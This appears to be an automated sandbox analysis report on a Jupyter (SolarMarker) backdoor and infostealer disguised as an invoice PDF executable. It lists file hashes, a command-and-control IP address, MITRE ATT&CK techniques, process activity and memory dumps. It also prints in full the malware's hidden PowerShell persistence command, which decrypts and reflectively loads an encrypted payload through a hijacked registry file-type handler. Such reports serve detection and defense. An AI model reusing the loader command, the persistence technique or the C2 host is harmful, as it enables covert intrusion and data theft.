jupyter | dbba073f0c88fe42a7614b65cb8db2f5ad346fdfb1e21763288d2d73e65c9b6f

General

Target

Tools-Invoice.pdf.exe
Size

272.0MB
MD5

19ec298f977fdc71f195a4782fa8b156
SHA1

4a6035ce7510a7cc02bb785244e2cfcaec89131d
SHA256

32b42c8c10ce7ec03005931d079fe7bb7f0e5b36bcf57a789081c6f7787e630c
SHA512

d8cd8e043c24998d41b06ed0de8a8628389dab04be583094e68f5660ccc666dc260367297d373c800869fe36878aa8730fe35c2eb0b1e6631c0c2fec338b2391
SSDEEP

49152:Uj+t6IRUEFX1PVv3Gfbs8HuQq1nvHol6Kz3DfjkJO:Uj+tNtV/AAFBH9yzLt

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

C2

http://146.70.71.174

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Tools-Invoice.pdf.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation	Tools-Invoice.pdf.exe

Drops startup file 1 IoCs

Processes:

Tools-Invoice.pdf.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BfshdsEqxgSGclY.QqZKeaJOUHsaCDolqWNtZjROAVam	Tools-Invoice.pdf.exe

Executes dropped EXE 1 IoCs

Processes:

TvtuziedoTs.exe

pid process

2296 TvtuziedoTs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2296	TvtuziedoTs.exe

Modifies registry class 7 IoCs

Processes:

Tools-Invoice.pdf.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\.qqzkeajouhsacdolqwntzjroavam	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\.qqzkeajouhsacdolqwntzjroavam\ = "cwikauzgjhdwthetskhesdqcxwgrwum"	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\cwikauzgjhdwthetskhesdqcxwgrwum\shell\open\command	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\cwikauzgjhdwthetskhesdqcxwgrwum	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\cwikauzgjhdwthetskhesdqcxwgrwum\shell	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\cwikauzgjhdwthetskhesdqcxwgrwum\shell\open	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\cwikauzgjhdwthetskhesdqcxwgrwum\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxCZnNoZHNFcXhnU0djbFkuUXFaS2VhSk9VSHNhQ0RvbHFXTnRaalJPQVZhbQ=='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\""	Tools-Invoice.pdf.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Tools-Invoice.pdf.exe

pid process

2456 Tools-Invoice.pdf.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Tools-Invoice.pdf.exe

description pid process

Token: SeDebugPrivilege 2456 Tools-Invoice.pdf.exe

pid	process
2456	Tools-Invoice.pdf.exe

description	pid	process
Token: SeDebugPrivilege	2456	Tools-Invoice.pdf.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

Tools-Invoice.pdf.exe

description	pid	process	target process
PID 4572 wrote to memory of 2296	4572	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 4572 wrote to memory of 2296	4572	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 4572 wrote to memory of 2296	4572	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 4572 wrote to memory of 2456	4572	Tools-Invoice.pdf.exe	Tools-Invoice.pdf.exe
PID 4572 wrote to memory of 2456	4572	Tools-Invoice.pdf.exe	Tools-Invoice.pdf.exe

C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe
  "C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Tools-Invoice.pdf.exe.log

Filesize
425B

MD5
fff5cbccb6b31b40f834b8f4778a779a

SHA1
899ed0377e89f1ed434cfeecc5bc0163ebdf0454

SHA256
b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76

SHA512
1a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lu5uknag.sb3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2296-14-0x0000000002040000-0x0000000002041000-memory.dmp

Filesize
4KB

Download
memory/2296-15-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/2296-32-0x0000000002040000-0x0000000002041000-memory.dmp

Filesize
4KB

Download
memory/2456-13-0x00007FF808040000-0x00007FF808B01000-memory.dmp

Filesize
10.8MB

Download
memory/2456-25-0x000000001B4B0000-0x000000001B4C0000-memory.dmp

Filesize
64KB

Download
memory/2456-26-0x000000001BAC0000-0x000000001BAE2000-memory.dmp

Filesize
136KB

Download
memory/2456-29-0x000000001C810000-0x000000001C8C4000-memory.dmp

Filesize
720KB

Download
memory/2456-30-0x00007FF808040000-0x00007FF808B01000-memory.dmp

Filesize
10.8MB

Download
memory/2456-35-0x000000001B4B0000-0x000000001B4C0000-memory.dmp

Filesize
64KB

Download
memory/4572-12-0x00007FF808040000-0x00007FF808B01000-memory.dmp

Filesize
10.8MB

Download
memory/4572-0-0x0000000000A10000-0x0000000000C4E000-memory.dmp

Filesize
2.2MB

Download
memory/4572-1-0x00007FF808040000-0x00007FF808B01000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads